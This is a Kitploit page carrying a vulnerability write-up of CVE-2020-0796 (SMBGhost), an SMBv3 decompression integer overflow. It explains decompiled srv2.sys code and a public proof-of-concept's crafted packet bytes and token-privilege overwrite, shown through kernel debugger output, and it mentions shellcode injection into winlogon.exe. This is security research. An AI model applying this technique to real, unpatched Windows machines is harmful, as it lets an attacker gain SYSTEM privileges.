Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-0796 — Technical analysis and proof-of-concept for CVE-2020-0796 (SMBGhost), an integer overflow vulnerability in SMBv3 compression leading to local privilege escalation on Windows 10/Server. | Kitploit
Tools/GitHubGitHub/datntsec/cve-2020-0796
Privilege EscalationVulnerability AnalysisExploitationBinary Exploitation
GitHubdatntsec/cve-2020-0796

CVE-2020-0796

Technical analysis and proof-of-concept for CVE-2020-0796 (SMBGhost), an integer overflow vulnerability in SMBv3 compression leading to local privilege escalation on Windows 10/Server.

View Repository
115 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-0796


Overview:

The compression feature added to SMBv3 starting from Windows 10/Server version 1903 contains an integer overflow vulnerability confirmed by Microsoft on 12/03/2020. It allows an attacker to perform Local Privilege Escalation (LPE) and Remote Code Execution (RCE). Here we will only discuss the LPE vulnerability.

Affected versions:

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows Server, version 1903 (Server Core installation)
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows Server, version 1909 (Server Core installation)

Analysis of the SMB Decompress process:

Analyzing the file srv2.sys, it is observed that the functions related to Decompress are called as follows:``` js Srv2ReceiveHandler | | v Srv2DecompressMessageAsync | | v Srv2DecompressData -------> SrvNetAllocateBuffer | | v SmbCompressionDecompress | | v memcpy

root@kitploit:~
First function `Srv2ReceiveHandler` is called to receive an smb data packet and calls a function corresponding to the `ProtocolId` protocol. If `PrococolId` = 0x424D53FC, it will call the function `Srv2DecompressMessageAsync`, which will proceed to call the function `Srv2DecompressData` to decompress the data packet. The function `Srv2DecompressData` will call the function `SrvNetAllocateBuffer` to allocate an `Alloc` used to store the data after decompression, then it calls the function `SmbCompressionDecompress` to decompress the data packet, finally it calls the function `memcpy`. Thus the entire Decompress process has the following main steps:
- 1. Allocate
- 2. Decompress
- 3. Copy

According to documentation provided by Microsoft, the `COMPRESSION_TRANSFORM_HEADER` structure is used to send and receive compressed data from client and server. It has the following structure:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
   ULONG ProtocolId;
   ULONG OriginalCompressedSegmentSize;
   USHORT CompressionAlgorithm;
   USHORT Flags;
   ULONG Offset;
} ;

Here we only focus on the 2 main fields above:

  • OriginalCompressedSegmentSize is the size of the uncompressed data segment, in bytes.
  • Offset is the offset in bytes between the start of the compressed data and the end of the _COMPRESSION_TRANSFORM_HEADER structure.

Thus the compressed data packet will have the following form:

``` c typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER;

NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }

root@kitploit:~
ULONG FinalCompressedSize = 0;

NTSTATUS Status = SmbCompressionDecompress(
    Header->CompressionAlgorithm,
    (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
    (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
    (PUCHAR)Alloc->UserBuffer + Header->Offset,
    Header->OriginalCompressedSegmentSize,
    &FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}

if (Header->Offset > 0) {
    memcpy(
        Alloc->UserBuffer,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
        Header->Offset);
}

Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;

}

root@kitploit:~
Analysis of the `Srv2DecompressData` function reveals that it receives a compressed packet data `COMPRESSION_TRANSFORM_HEADER` (Header), allocates a memory region (Alloc) using the `SrvNetAllocateBuffer` function with the sum of `Header->OriginalCompressedSegmentSize` + `Header->Offset` as the parameter, then decompresses the compressed data and copies the uncompressed data into `Alloc->Buffer`.

![](https://assets.kitploit.com/production/public/readmes/24501/a5bf8b5059336fb3677162343bace0d0b45085f2eb89e42d85f81e032fe233dc.png)

An integer overflow error occurs when `Srv2DecompressData` calls the `SrvNetAllocateBuffer` function. The `SrvNetAllocateBuffer` function actually accepts two 64-bit values, but when calling `SrvNetAllocateBuffer`, `Srv2DecompressData` only passes two 32-bit values (ULONG) to it. Meanwhile, both `OriginalCompressedSegmentSize` and `Offset` are ULONG, and when they are added together, the result can exceed 32 bits. This causes an integer overflow (Simply put, adding 0xffffffff (`OriginalCompressedSegmentSize`) to 0x10 (`Offset`) yields 0xf0000000f but `SrvNetAllocateBuffer` only receives 0x0000000f).

![](https://assets.kitploit.com/production/public/readmes/24501/5ef540fac05ff782b005994410e1c43f18c0503fd134a57e1e6ed50c1fbc8219.png)

The integer overflow leads to incorrect allocation of the Alloc memory region (the size to be allocated is smaller than the actual required size), which can cause a buffer overflow:
![](https://assets.kitploit.com/production/public/readmes/24501/24c32abbbd764c35df1e73a00b5844711af77018cb54942a9738f5c9cac7ce4a.png)

To determine whether a buffer overflow occurs, and how it occurs, we will analyze the `SrvNetAllocateBuffer` and `SmbCompressionDecompress` functions.``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
  v3 = 0;
  v4 = a2;
  v5 = 0;
  if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
  {
    if ( allocSize > 0x1000100 )
      return 0i64;
    v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
  }
  else
  {
    if ( allocSize > 0x1100 )
    {
      _RCX = allocSize - 256;
      __asm
      {
        bsr     rdx, rcx
        bsf     rax, rcx
      }
      if ( (_DWORD)_RDX == (_DWORD)_RAX )
        v3 = _RDX - 12;
      else
        v3 = _RDX - 11;
    }
    v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
    v7 = *(_DWORD *)v6 - 1;
    if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
      v7 = (unsigned __int16)v2 + 1;
    v8 = (unsigned int)v7;
    v9 = *(_QWORD *)(v6 + 32);
    v10 = *(_QWORD *)(v9 + 8 * v8);
    if ( !*(_BYTE *)(v10 + 0x70) )
      PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
    ++*(_DWORD *)(v10 + 20);
    v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
    if ( !v11 )
    {
      ++*(_DWORD *)(v10 + 24);
      v12 = *(_DWORD *)(v10 + 44);
      v13 = *(_DWORD *)(v10 + 40);
      v14 = *(_DWORD *)(v10 + 36);
      LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
      v11 = v15;
    }
    v5 = 2;
  }
  if ( v11 )
  {
    *(_WORD *)(v11 + 0x10) |= v5;
    *(_WORD *)(v11 + 0x12) = v3;
    *(_WORD *)(v11 + 0x14) = v2;
    if ( v4 )
    {
      v24 = *(_DWORD *)(v4 + 0x24);
      if ( v24 >= *(_DWORD *)(v11 + 0x20) )
        v24 = *(_DWORD *)(v11 + 0x20);
      v25 = *(void **)(v11 + 0x18);
      *(_DWORD *)(v11 + 0x24) = v24;
      memcpy(v25, *(const void **)(v4 + 0x18), v24);
      v26 = *(_WORD *)(v4 + 0x16);
      if ( v26 )
      {
        *(_WORD *)(v11 + 0x16) = v26;
        memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
      }
    }
    else
    {
      *(_DWORD *)(v11 + 36) = 0;
    }
  }
  return v11;
}

The above code snippet is taken from IDA Pro's pseudocode, which looks quite difficult to understand. However, we can understand it simply by looking at the code rewritten by Zecops:``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...

root@kitploit:~
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
    if (AllocSize > 0x1000100) {
        return NULL;
    }
    Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
    int LookasideListIndex = 0;
    if (AllocSize > 0x1100) {
        LookasideListIndex = /* some calculation based on AllocSize */;
    }

    SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
    Result = /* fetch result from list */;
}

// Initialize some Result fields...

return Result;

}

root@kitploit:~
The function `SrvNetAllocateBuffer` receives the size to allocate, then checks if the size is greater than 0x100100; if so, it returns NULL. This function also checks the variable `SrvDisableNetBufferLookAsideList`; however, I did not find any documentation about this variable, and it is set to 0 by default, so it is probably not very important.

If the condition is satisfied, the function proceeds to calculate an index value based on the received AllocSize, then retrieves a value from the `SrvNetBufferLookasides` array (which has 9 elements) based on the calculated index and performs the allocation. From the assembly code, Zecops used `python` to compute the sizes corresponding to each index:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]

So, with an allocation request of size less than or equal to 0x1100, the function allocates a memory region of size 0x1100; with an allocation request of size greater than 0x1100 and less than or equal to 0x2100, the function allocates a memory region of size 0x2100, and so on for larger allocation requests.

After the allocation is complete, the function returns an address storing a structure that Zcops has named ALLOCATION_HEADER. According to research, this structure contains data as follows:

An interesting point is that ALLOCATION_HEADER is located right below ALLOCATION_HEADER->UserBuffer; if a buffer overflow of UserBuffer is possible, we can write arbitrary values into ALLOCATION_HEADER.

Next, we will examine what the SmbCompressionDecompress function does:``` c __int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize) { PVOID v6; // rdi@1 __int64 v7; // r14@1 __int64 v8; // r15@1 int v9; // ebx@2 int v10; // ecx@3 int v11; // ecx@4 signed __int16 v12; // bx@6 __int64 v13; // rsi@12 unsigned int v14; // ebp@12 int v16; // [sp+40h] [bp-28h]@1 SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1

v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }

root@kitploit:~
The code above is taken from IDA pseudocode; if you don't understand what the code above does, you can view the code rewritten by Zecops:``` c
NTSTATUS SmbCompressionDecompress(
    USHORT CompressionAlgorithm,
    PUCHAR UncompressedBuffer,
    ULONG  UncompressedBufferSize,
    PUCHAR CompressedBuffer,
    ULONG  CompressedBufferSize,
    PULONG FinalCompressedSize)
{
    // ...
 
    NTSTATUS Status = RtlDecompressBufferEx2(
        ...,
        FinalUncompressedSize,
        ...);
    if (Status >= 0) {
        *FinalCompressedSize = CompressedBufferSize;
    }
 
    // ...
 
    return Status;
}

This function basically decompresses compressed data and stores it into Alloc->UserBuffer + Offset. If decompression succeeds, the parameter FinalCompressedSize will be assigned the value of CompressedBufferSize, which is the OriginalCompressedSegmentSize passed from the function Srv2DecompressData.

Returning to the function Srv2DecompressData, after executing the function SmbCompressionDecompress, the function will then compare whether the values FinalCompressedSize and OriginalCompressedSegmentSize are equal, and whether the returned Status is < 0.``` c if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; }

root@kitploit:~
As mentioned above, if the decompression is successful, then `FinalCompressedSize` and `OriginalCompressedSegmentSize` will be equal and the returned `Status` will be greater than or equal to 0. Therefore, if the decompression is successful, the code in the if function above will not be executed. We will proceed to analyze the next piece of code:``` c
if (Header->Offset > 0) {
        memcpy( // copy raw data into UserBuffer 
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
}

This code will check Header->Offset > 0. The Offset value is the offset between the compressed data region and the end of the Header, corresponding to the size of the uncompressed data region. Then it calls the memcpy function to copy the uncompressed data region to the beginning of Alloc->UserBuffer.

Thus, if we can use a buffer overflow vulnerability to overwrite the Alloc Header region and change the pointer value Alloc->UserBuffer to address A, address A will contain the uncompressed data sent by the client. To better understand, we will analyze the POC by Daniel García Gutiérrez (@danigargu) and Manuel Blanco Parajón (@dialluvioso_), then debug to gain a clearer understanding.

POC Analysis:

The POC performs the following actions:

  • Gets its own token.

  • Creates a buffer array of size 0x1110, stores 0x1108 'A' characters at the beginning of the array, then stores the previously retrieved [Token + 0x40] value. We will explain the purpose of this later.

  • Compresses the data in the buffer array and stores it in the compressed_buffer array.

  • Creates a buf array containing data as shown below:``` c const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, 0x00, 0x00, 0x33,

    root@kitploit:~
      /* SMB Header */
      0xFC, 0x53, 0x4D, 0x42, /* protocol id */
      0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
      0x02, 0x00,             /* compression algorithm, LZ77 */
      0x00, 0x00,             /* flags */
      0x10, 0x00, 0x00, 0x00, /* offset */
    

    };

root@kitploit:~
- Then create a `packet` array with size: `sizeof(buf) + 0x10 + len`, where `len` is the size of the `buffer` after compression above (the **data** size of `compressed_buffer`).
- Copy the data of the `buf` array into `packet`, then copy the value `0x1FF2FFFFBC` into it and then the data of the `compressed_buffer` array:``` c
  memcpy(packet, buf, sizeof(buf));
	*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
	*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
	memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
  • Send packet to SMB server.
  • After the above step, the POC program has been elevated to system privileges, next the POC will OpenProcess winlogon.exe and inject shellcode to open cmd.

Below I will explain the issues in the POC mentioned above.

Why does the buffer array need to be created with a size of 0x1110 bytes, and store 0x1108 'A' characters and a value [token + 0x40]. In general, the purpose of this POC is to use functions in SMB to change the value of its own token->Privileges ([Token + 0x40]).

In the SMB Header we will pay attention to the original decompressed size and Offset, which have values of 0xffffffff and 0x00000010 respectively. The purpose is to cause SMB to suffer an integer overflow error, thereby allocating an Alloc->Buffer array with a size of only 0x1100 (< 0x1110 + Raw data size).

The value 0x1FF2FFFFBC stored at 0x10 bytes after the header is a value stored in token->Privileges->Present and token->Privileges->Enabled of a SYSTEM process, corresponding to the fact that if a process has token->Privileges->Present and token->Privileges->Enabled equal to 0x1FF2FFFFBC, that process will have privileges like a SYSTEM process.

From the above information, we can imagine that the POC wants the functions in SMB to change the values of its token->Privileges->Present and token->Privileges->Enabled to 0x1FF2FFFFBC. To know exactly, we will proceed to kernel debugging.

Debug Kernel

First, set a breakpoint at the beginning of the function Srv2DecompressData```` 0: kd> bm srv2!Srv2DecompressData 1: fffff80717c47e60 @!"srv2!Srv2DecompressData" 0: kd> bl 1 e Disable Clear fffff807`17c47e60 0001 (0001) srv2!Srv2DecompressData

root@kitploit:~
Then run the POC, the function `Srv2DecompressData` will be called, the kernel will stop at the beginning of the function `srv2!Srv2DecompressData`.

Proceed to view the Header data:``` 
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10  424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20  f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30  403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40  00ffffae 00000000 00000000 00000000

This is the data of the packet array that the POC sent to SMB as analyzed above, the first 0x10 bytes are the SMB Header, the next 0x10 bytes contain 2 instances of the value 0x1FF2FFFFBC as the raw data area, and the following 0x13 bytes are the compressed buffer data. Thus, the total Header size is 0x33 bytes.

When reaching the point of calling the function SrvNetAllocateBuffer to see the passed parameters, indeed the function SrvNetAllocateBuffer receives parameters 0xf and null.

The return value of the function SrvNetAllocateBuffer is a pointer to an ALLOCATION_HEADER structure (as referred to in this article).``` 1: kd> dd rax ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e ffffd10e`94729170 00001100 00000000 00001278 75881029

root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/24501/e3a63fc2fa82d7b9a33041a4476fa6ffb5dccc8901448378bea85d7f2834e0a2.png)

Next, the function `SmbCompressionDecompress` will be called, it will decompress and write the decompressed data to `Alloc->Buffer + Header -> Offset````
1: kd> dd ffffd10e94728050
ffffd10e`94728050  1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060  41414141 41414141 41414141 41414141
ffffd10e`94728070  41414141 41414141 41414141 41414141
...
ffffd10e`94729150  41414141 41414141 41414141 41414141
ffffd10e`94729160  41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170  00001100 00000000 00001278 75881029

1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : 0x00000006`02880000
   +0x008 Enabled          : 0x800000
   +0x010 EnabledByDefault : 0x40800000

At this point Alloc->Buffer has been overwritten with the address [Token + 0x40]. The Srv2DecompressData function proceeds to call memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); to copy the raw Data into Alloc->UserBuffer. However, Alloc->UserBuffer has been overwritten to Token->Privileges, so the raw Data will be written into Token->Privileges:``` 1: kd> dt _sep_token_privileges ffffae8dafb9e770 nt!_SEP_TOKEN_PRIVILEGES +0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc +0x010 EnabledByDefault : 0x40800000

root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/24501/be25e63dd205f4b2660e0cf51254f0801a5574fc20c90cbf1633364dff732026.png)

At this point, the POC program has obtained SYSTEM privileges, the next step is to open a SYSTEM program (winlogon.exe) and inject shellcode to launch a cmd.

# References
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)

[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)

[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)

[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)

<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>
Download Tool